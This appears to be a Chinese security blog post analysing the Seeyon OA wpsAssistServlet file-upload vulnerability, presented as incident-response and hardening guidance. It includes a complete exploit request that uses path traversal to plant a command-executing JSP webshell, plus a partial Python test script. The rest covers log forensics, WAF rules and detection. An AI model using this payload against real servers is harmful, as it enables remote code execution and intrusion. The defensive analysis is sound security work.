从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何利用,我们又该如何溯源与加固?
企业级致远OA安全事件深度剖析:从漏洞利用到防御体系构建
凌晨3点17分,安全运维工程师小李的手机突然响起刺耳的告警声——公司核心业务区的致远OA服务器触发了异常文件上传行为告警。当他远程连接到安全分析平台时,发现攻击者已经通过wpsAssistServlet接口上传了Webshell,并开始尝试内网扫描。这个虚构但典型的安全事件,揭示了企业协同办公系统面临的真实威胁。本文将基于此类事件的完整生命周期,剖析漏洞原理、攻击者行为特征,并提供可落地的防御方案。
1. wpsAssistServlet漏洞技术原理与攻击链还原
1.1 漏洞形成机制解析
致远OA的wpsAssistServlet接口原本设计用于处理文档在线协作请求,但其文件上传功能存在三处关键缺陷:
- 路径遍历缺陷:未对realFileType参数中的
../进行过滤,导致攻击者可以突破web目录限制 - 文件类型校验缺失:仅检查Content-Type头,未验证文件实际内容
- 权限控制失效:接口未实施身份验证,允许匿名访问
典型攻击请求包中的关键恶意构造如下:
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../webapps/ROOT/shell.jsp&fileId=2 HTTP/1.1 Host: vulnerable-host Content-Type: multipart/form-data; boundary=ABCDEF --ABCDEF Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plain <%@page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); // ... webshell代码 } %> --ABCDEF--1.2 攻击者行为模式分析
通过分析上百起同类事件,攻击者通常遵循以下操作流程:
| 攻击阶段 | 典型行为 | 取证关键点 |
|---|---|---|
| 初始入侵 | 批量扫描互联网暴露的致远OA系统 | Web日志中的大量404试探请求 |
| 漏洞利用 | 上传多种格式的Webshell(jsp、jspx) | 异常POST请求,文件创建日志 |
| 权限维持 | 安装持久化后门、创建计划任务 | 系统日志中的可疑进程创建记录 |
| 横向移动 | 使用Mimikatz等工具获取域控权限 | 网络设备日志中的异常连接 |
取证提示:攻击者常会先上传测试文件(如txt)验证漏洞,再部署真实Webshell,这为防御方提供了检测时间窗口
2. 入侵痕迹发现与取证技术实践
2.1 Web服务器日志关键特征提取
在Apache Tomcat的access_log中,攻击行为会留下明显痕迹:
请求路径特征:
- 高频出现的
/seeyon/wpsAssistServlet接口调用 - 包含
../../../../等路径遍历字符串的URL参数
- 高频出现的
时间分布异常:
# 统计可疑时段请求频率 cat access_log | grep "wpsAssistServlet" | awk -F: '{print $2}' | sort | uniq -c | sort -nrUser-Agent异常:
- 使用默认Python-urllib/3.10等脚本特征
- 明显伪造的浏览器标识
2.2 文件系统取证技巧
使用以下命令快速定位被篡改文件:
# 查找最近3天被修改的jsp文件 find /path/to/tomcat/webapps -name "*.jsp" -mtime -3 -ls # 对比官方文件哈希值 md5sum /path/to/seeyon/wpsAssistServlet.class常见恶意文件藏匿位置:
webapps/ROOT/下的非常规jsp文件WEB-INF/classes/中的恶意class文件/tmp/目录下的可疑脚本
3. 企业级防御方案设计与实施
3.1 紧急缓解措施
若发现系统已遭入侵,应立即执行:
网络隔离:
- 将受影响服务器移出核心网络区域
- 防火墙阻断出向连接(攻击者常建立C2通道)
漏洞临时修复:
<!-- 在web.xml中添加访问限制 --> <security-constraint> <web-resource-collection> <url-pattern>/seeyon/wpsAssistServlet</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>凭证重置:
- 域管理员账户
- 数据库连接凭据
- OA系统后台密码
3.2 长期加固策略
构建纵深防御体系:
网络层防护:
- 部署WAF规则拦截路径遍历攻击
SecRule ARGS "@contains ../" "id:10001,deny,msg:'Path Traversal Attempt'" - 限制OA系统仅允许内网访问
主机层防护:
- 实施文件完整性监控(FIM)
- 禁用Tomcat默认管理接口
- 定期更新JRE安全补丁
应用层防护:
// 示例:安全的文件上传校验逻辑 public void uploadFile(HttpServletRequest request) { String fileName = request.getParameter("filename"); if (fileName.contains("../") || !fileName.endsWith(".doc")) { throw new SecurityException("Invalid file name"); } // ... 其他校验逻辑 }4. 安全监控体系优化建议
4.1 关键日志监控项配置
在SIEM系统中应配置以下检测规则:
漏洞利用检测:
- 单IP对wpsAssistServlet的高频访问
- 请求参数中包含
../序列
后门活动检测:
- Web目录下新增可执行文件
- 异常进程创建(如cmd.exe执行powershell)
横向移动检测:
- 内部服务器尝试连接域控
- 异常Kerberos票据请求
4.2 红蓝对抗演练方案
定期通过模拟攻击验证防御有效性:
攻击模拟:
# 漏洞验证脚本示例(仅用于授权测试) import requests url = "http://target/seeyon/wpsAssistServlet" headers = {"Content-Type": "multipart/form-data"} data = "--TEST\r\nContent-Disposition: form-data...\r\n" response = requests.post(url, headers=headers, data=data)防御验证:
- 检测WAF是否拦截测试请求
- 确认SIEM生成相应告警
- 检查EDR是否阻断恶意进程
在一次为客户实施的加固项目中,我们发现尽管已经安装了官方补丁,但由于历史版本残留文件未清理,系统仍存在被利用的风险。这提醒我们,补丁管理必须与配置加固相结合才能形成完整防护。
